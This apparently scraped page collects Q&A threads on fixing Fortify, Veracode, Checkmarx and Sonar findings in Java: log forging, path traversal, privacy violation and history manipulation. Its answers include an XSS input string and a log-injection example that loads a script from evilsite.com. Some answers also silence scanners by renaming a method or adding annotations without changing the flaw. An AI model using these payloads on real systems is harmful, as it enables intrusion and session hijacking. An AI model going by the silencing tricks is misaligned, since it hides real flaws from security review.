Fortify reporting "Privacy violation" issue - java

The below code is being identified by Fortify as a vulnerability/issue of the "Privacy violation" category.
sbfOut.append(" validateSSN(document.form1." + name
+ ",\" \",\" \")' " + override + "; >");
out.println(sbfOut.toString());
} // SN end
else if (fieldType.equals(CoConstants.DE_ELEMENT_TYPE_TN
In another method I have, Fortify identified the below code block as a vulnerability issue of the "Privacy violation" category as well.
sbfOut.append(" <OPTION VALUE='0'>-NO DATA-</OPTION>");
try {
out.println(sbfOut.toString());
} catch (IOException ioe) {
debug("Exception In coCustomTag" + ioe
I am not able to figure out how to fix this and where exactly the issue is.
The exact message Fortify is giving:
The method methodName() in CoCustomTag.java mishandles confidential information, which can compromise user privacy and is often illegal.
Please ignore the open braces and all, as I have put here only the portion of code identified by Fortify.

If you believe that this issue is a false positive or u can ignore then
Fortify Java Annotations #FortifyNotPassword, #FortifyNotPrivate can be used to indicate which fields and variables represent passwords and private data.
These annotations will tell fortify code analyzer to ignore the fields and issue is gone.
Check below for more details.
HP Fortify -- annotating method parameters

If in your first code snippet HTML output is created and name can be changed by the user (e. g. by rewriting the URL) then this is a cross-site scripting (XSS) vulnerability issue: setting name to ," "," ");alert("Hi");// may cause popping up an alert box.

I was bothered for maybe three days or more, searching Google for any clue I could get, until I looked up into the stack trace on the bottom left of the Audit Workbench (in Fortify). The top of the stack trace suggested to me that my issue was caused by a method named decrypt(...). Believe it or not, when I renamed the method, the issue disappeared.

Related

How to fix CWE 73 External Control of File Name or Path

During veracode scan i got CWE 73 issue in my result. Can someone suggest me how to fix this solution for the below coding scenario?
The existing solutions provide is not working,also i would like to know any ESAPI properties can be used to get rid of this issue?
try
{
String serviceFile = System.getProperty("PROP", "");
logger.info("service A", "Loading service file [" + serviceFile+ "].");//Security Issue CWE 73 Occurs in this line
}
There are several solutions for it:
Validate with a whitelist but use the input from the entry point As
we mentioned at Use a list of hardcoded values.
Validate with a simple regular expression whitelist
Canonicalise the input and validate the path
I used the first and second solutions and work fine.
More info at: https://community.veracode.com/s/article/how-do-i-fix-cwe-73-external-control-of-file-name-or-path-in-java
this document provides detailed information on recommended remedies any explicit custom solution. In my case, I tried whitelisting or blacklisting patterns in the provided method parameters however that still did not resolve CWE-73 risk. I think thats expected and the document does state this:
A static engine is limited in what it can detect. It can only scan your code, it won’t actually run your code (unlike Dynamic Scanning). So it won’t pick up any custom validation (if conditions, regular expressions, etc.). But that doesn’t mean that this is not a perfectly valid solution that removes the risk!
I tried my custom blacklisted pattern based solution and annotated the method with FilePathCleanser as documented in here and it resolved CWE-73 and veracode no longer shows that as a risk.
Try to validate this PROP string with Recommended OWASP ESAPI Validator methods, like below.
Example:
String PropParam= ESAPI.validator().getValidInput("",System.getProperty("PROP", ""),"FileRegex",false);
FileRegex is the Regular Expression against which PROP string i.e. path of the file is getting validated.
Define FileRegex = ^(.+)\/([^\/]+)$ in Validator.properties.

Cross Site History Manipulation(Checkmarx)

Does anyone know how to fix the Checkmarx vulnerability -- Cross Site History Manipulation for java based applcations?
Here is the description provided by Checkmarx scan -- "the method may leak server-side conditional values, enabling user tracking from another website. This may constitute a Privacy Violation."
Here is the related code :
if(user is logged in) {
response.sendRedirect(url);
} else {
response.sendRedirect(url)
}
Upon googling I found some Checkmarx documentation which to suggest to add a random number to the redirect url. Here is the link to the document : https://www.checkmarx.com/wp-content/uploads/2012/07/XSHM-Cross-site-history-manipulation.pdf
For e.g :
If ( !isAuthenticated)
Redirect(„Login.aspx?r=‟ + Random())
I tried this approach but the Checkmarx scan still show the same vulnerability.Not sure why.
XSHM could be a CWE-203 (http://cwe.mitre.org/data/definitions/203.html) from CX documentation.
The problem could be complex or simple. With just your 5 lines we can not said exactly what the good solution is.
Checkmarx is check if your redirect url include some random value. Here are some random methods checking by Java/Cx/General/Find_Cross_Site_History_Manipulation_Random:
Random.Next
Math.random
Randomizer.*
Random.nextBytes

How to fix Veracode CWE 117 (Improper Output Neutralization for Logs)

There is an Spring global #ExceptionHandler(Exception.class) method which logs exception like that:
#ExceptionHandler(Exception.class)
void handleException(Exception ex) {
logger.error("Simple error message", ex);
...
Veracode scan says that this logging has Improper Output Neutralization for Logs and suggest to use ESAPI logger. Is there any way how to fix this vulnerability without changing logger to ESAPI? This is the only place in code where I faced this issue and I try to figure out how to fix it with minimum changes. Maybe ESAPI has some methods I haven't noticed?
P.S. Current logger is Log4j over slf4j
UPD:
In the end I used ESAPI logger. I thought it wouldn't use my default logging service, but I was wrong and it simply used my slf4j logger interface with appropriate configuration.
private static final Logger logger = ESAPI.getLogger(MyClass.class);
...
logger.error(null, "Simple error message", ex);
ESAPI has extension of log4j logger and logger factory. It can be configured what to use in ESAPI.properties. For example:
ESAPI.Logger=org.owasp.esapi.reference.Log4JLogFactory
Is there any way how to fix this vulnerability without changing
logger to ESAPI?
In short, yes.
TLDR:
First understand the gravity of the error. The main concern is in falsifying the log statments. Say you had code like this:
log.error( transactionId + " for user " + username + " was unsuccessful."
If either variable is under user control they can inject false logging statements by using inputs like \r\n for user foobar was successful\rn thus allowing them to falsify the log and cover their tracks. (Well, in this contrived case, just make it a little harder to see what happened.)
The second method of attack is more of a chess move. Many logs are HTML formatted to be viewed in another program, for this example, we'll pretend the logs are meant to be HTML files to be viewed in a browser. Now we inject <script src=”https://evilsite.com/hook.js” type=”text/javascript”></script> and you will have hooked a browser with an exploitation framework that's most likely executing as a server admin... because its doubtful that the CEO is going to be reading the log. Now the real hack can begin.
Defenses:
A simple defense is to make sure that all log statements with userinput escape the characters '\n' and '\r' with something obvious, like '֎' or you can do what ESAPI does and escape with the underscore. It really doesn't matter as long as its consistent, just keep in mind not to use character sets that would confuse you in the log. Something like userInput.replaceAll("\r", "֎").replaceAll("\n", "֎");
I also find it useful to make sure that log formats are exquisitely specified... meaning that you make sure you have a strict standard for what log statements need to look like and construct your formatting so that catching a malicious user is easier. All programmers must submit to the party and follow the format!
To defend against the HTML scenario, I would use the [OWASP encoder project][1]
As to why ESAPI's implementation is suggested, it is a very battle-tested library, but in a nutshell, this is essentially what we do. See the code:
/**
* Log the message after optionally encoding any special characters that might be dangerous when viewed
* by an HTML based log viewer. Also encode any carriage returns and line feeds to prevent log
* injection attacks. This logs all the supplied parameters plus the user ID, user's source IP, a logging
* specific session ID, and the current date/time.
*
* It will only log the message if the current logging level is enabled, otherwise it will
* discard the message.
*
* #param level defines the set of recognized logging levels (TRACE, INFO, DEBUG, WARNING, ERROR, FATAL)
* #param type the type of the event (SECURITY SUCCESS, SECURITY FAILURE, EVENT SUCCESS, EVENT FAILURE)
* #param message the message to be logged
* #param throwable the {#code Throwable} from which to generate an exception stack trace.
*/
private void log(Level level, EventType type, String message, Throwable throwable) {
// Check to see if we need to log.
if (!isEnabledFor(level)) {
return;
}
// ensure there's something to log
if (message == null) {
message = "";
}
// ensure no CRLF injection into logs for forging records
String clean = message.replace('\n', '_').replace('\r', '_');
if (ESAPI.securityConfiguration().getLogEncodingRequired()) {
clean = ESAPI.encoder().encodeForHTML(message);
if (!message.equals(clean)) {
clean += " (Encoded)";
}
}
// log server, port, app name, module name -- server:80/app/module
StringBuilder appInfo = new StringBuilder();
if (ESAPI.currentRequest() != null && logServerIP) {
appInfo.append(ESAPI.currentRequest().getLocalAddr()).append(":").append(ESAPI.currentRequest().getLocalPort());
}
if (logAppName) {
appInfo.append("/").append(applicationName);
}
appInfo.append("/").append(getName());
//get the type text if it exists
String typeInfo = "";
if (type != null) {
typeInfo += type + " ";
}
// log the message
// Fix for https://code.google.com/p/owasp-esapi-java/issues/detail?id=268
// need to pass callerFQCN so the log is not generated as if it were always generated from this wrapper class
log(Log4JLogger.class.getName(), level, "[" + typeInfo + getUserInfo() + " -> " + appInfo + "] " + clean, throwable);
}
See lines 398-453. That's all the escaping that ESAPI provides. I would suggest copying the unit tests as well.
[DISCLAIMER]: I am project co-lead on ESAPI.
[1]: https://www.owasp.org/index.php/OWASP_Java_Encoder_Project and make sure your inputs are properly encoded when going into logging statements--every bit as much as when you're sending input back to the user.
I am new to Veracode and was facing CWE-117. I understood this error is raised by Veracode when your logger statement has the potential to get attacked via malicious request's parameter values passed in. So we need to removed /r and /n (CRLF) from variables that are getting used in the logger statement.
Most of the newbie will wonder what method should be used to remove CRLF from variable passed in logger statement. Also sometime replaceAll() will not work as it is not an approved method by Veracode. Therefore, here is the link to approved methods by Veracode to handles CWE problems.
[Link Expired #22.11.2022] https://help.veracode.com/reader/4EKhlLSMHm5jC8P8j3XccQ/IiF_rOE79ANbwnZwreSPGA
In my case I have used org.springframework.web.util.HtmlUtils.htmlEscape mentioned in the above link and it resolved the problem.
private static final Logger LOG = LoggerFactory.getLogger(MemberController.class);
//problematic logger statement
LOG.info("brand {}, country {}",brand,country);
//Correct logger statement
LOG.info("brand {}, country {}",org.springframework.web.util.HtmlUtils.htmlEscape(brand),org.springframework.web.util.HtmlUtils.htmlEscape(country));
Edit-1: Veracode has stopped suggesting any particular function/method for sanitization of the logger variable. However still above solution will work. Find out the below link suggested by Veracode which explains what to do and how to do it to fix CWE-117 for some languages.
https://community.veracode.com/s/article/How-to-Fix-CWE-117-Improper-Output-Neutralization-for-Logs
JAVA: Using ESAPI library from OWASP for the logger. Checkout more details in link https://www.veracode.com/security/java/cwe-117
If you are using Logback use the replace function in your logback config pattern
original pattern
<pattern>%d %level %logger : %msg%n</pattern>
with replace
<pattern>%d %level %logger : %replace(%msg){'[\r\n]', '_'} %n</pattern>
if you want to strip <script> tag as well
<pattern>%d %-5level %logger : %replace(%msg){'[\r\n]|<script', '_'} %n</pattern>
This way you dont need to to modify individual log statements.
Though I am a bit late but I think it would help those who do not want to use ESAPI library and facing issue only for exception handler class
Use apache commons library
import org.apache.commons.lang3.exception.ExceptionUtils;
LOG.error(ExceptionUtils.getStackTrace(ex));
In order to avoid Veracode CWE 117 vulnerability I have used a custom logger class which uses HtmlUtils.htmlEscape() function to mitigate the vulnerablity.
Recommended solution to this problem by Veracode is to use ESAPI loggers but if you dont want to add an extra dependency to your project this should work fine.
https://github.com/divyashree11/VeracodeFixesJava/blob/master/spring-annotation-logs-demo/src/main/java/com/spring/demo/util/CustomLogger.java
I have tried with HtmlEscape of org.springframework.web.util.HtmlUtils, but it did not resolve by veracode's vulnerability. Give a try to below solution.
For Java use:
StringEscapeUtils.escapeJava(str)
For Html/JSP use:
StringEscapeUtils.escapeHtml(str)
Please use below package:
import org.appache.commons.lang.StringEscapeUtils;

Pass sonar's PT_RELATIVE_PATH_TRAVERSAL in java

I've got two issues sonar is sad about. First one in a line of code with relative path traversal issue which looks like this:
File f = new File(MY_DIR + filename);
Where filename is a parameter I've got from a request.
The second line is about an absolute path traversal issue which looks like the same except there is no MY_DIR in front.
I've added validation checks after these lines using a method which insures that the file is inside the MY_DIR directory using canonical paths, so now it looks like this:
...
File rootDirFile = new File(MY_DIR);
if (validateFileName(rootDirFile, f)) {
...
private static boolean validateFileName(File targetDir, File fileToCheck) throws IOException {
String targetDirPath = targetDir.getCanonicalPath() + File.separator;
String pathToCheck = fileToCheck.getCanonicalPath();
return pathToCheck.startsWith(targetDirPath);
}
But sonar is still saying I've got a vulnerability at those two lines. How to tell it I've found the solution?
Mithfindel is right. Your only option is to mark the issues "Won't Fix" or if that's not available in your version of the platorm, "False Positive".
There is no "correct code solution" for these security rules. That's because they're designed to alert a human security auditor to all potential problems. It's then up to the auditor to examine the code and either close the issue ("Won't Fix") or raise it with the appropriate team.
You can find more in the docs.
Depending on your version, you can mark the issue as "Won't fix" (meaning that the debt from this issue is accepted - since 5.1) or "False positive" (meaning that you think that the analysis engine is wrong - before 5.1).

log forging fortify fix

I am using Fortify SCA to find the security issues in my application (as a university homework). I have encountered some 'Log Forging' issues which I am not able to get rid off.
Basically, I log some values that come as user input from a web interface:
logger.warn("current id not valid - " + bean.getRecordId()));
and Fortify reports this as a log forging issue, because the getRecordId() returns an user input.
I have followed this article, and I am replacing the 'new line' with space, but the issue is still reported
logger.warn("current id not valid - " + Util.replaceNewLine(bean.getRecordId()));
Can anyone suggest a way to fix this issue?
I know this was already answered, but I thought an example would be nice :)
<?xml version="1.0" encoding="UTF-8"?>
<RulePack xmlns="xmlns://www.fortifysoftware.com/schema/rules">
<RulePackID>D82118B1-BBAE-4047-9066-5FC821E16456</RulePackID>
<SKU>SKU-Validated-Log-Forging</SKU>
<Name><![CDATA[Validated-Log-Forging]]></Name>
<Version>1.0</Version>
<Description><![CDATA[Validated-Log-Forging]]></Description>
<Rules version="3.14">
<RuleDefinitions>
<DataflowCleanseRule formatVersion="3.14" language="java">
<RuleID>DDAB5D73-8CF6-45E0-888C-EEEFBEFF2CD5</RuleID>
<TaintFlags>+VALIDATED_LOG_FORGING</TaintFlags>
<FunctionIdentifier>
<NamespaceName>
<Pattern/>
</NamespaceName>
<ClassName>
<Pattern>Util</Pattern>
</ClassName>
<FunctionName>
<Pattern>replaceNewLine</Pattern>
</FunctionName>
<ApplyTo implements="true" overrides="true" extends="true"/>
</FunctionIdentifier>
<OutArguments>return</OutArguments>
</DataflowCleanseRule>
</RuleDefinitions>
</Rules>
</RulePack>
Alina, I'm actually the author of the article you used to solve your log injection issue. Hope it was helpful.
Vitaly is correct with regards to Fortify. You'll need to build what Fortify calls a "custom rule".
It will likely be a dataflow cleanse rule. A basic example can be found here: http://www.cigital.com/newsletter/2009-11-tips.php. If you own Fortify, there should be a custom rule writing guide in your product documentation.
I don't know what the taint flag you'll use is, but it would look something like "-LOG_FORGING". You would essentially write a rule to remove the log forging "taint" whenever data is passed through your utility method. Fortify will them assume that any data passed through there is now safe to be written to a log, and will not cause log forging.
You need to mark your replaceNewLine as sanitiser in Fortify (if I remember correctly) and it will stop reporting the issue.
You can actually create a new rule from a particular method.
Navigate to the function on the right side of audit workbench after you've done a scan.
Find your sanitizing method and right click on it.
You can generate a rule from it. What you want is a general DataflowCleanseRule.
I just did this based on the xml someone posted above. You can save the rule as a .xml file.
When updating your scan you can pass the -rule argument and point at the .xml file.

Categories

Resources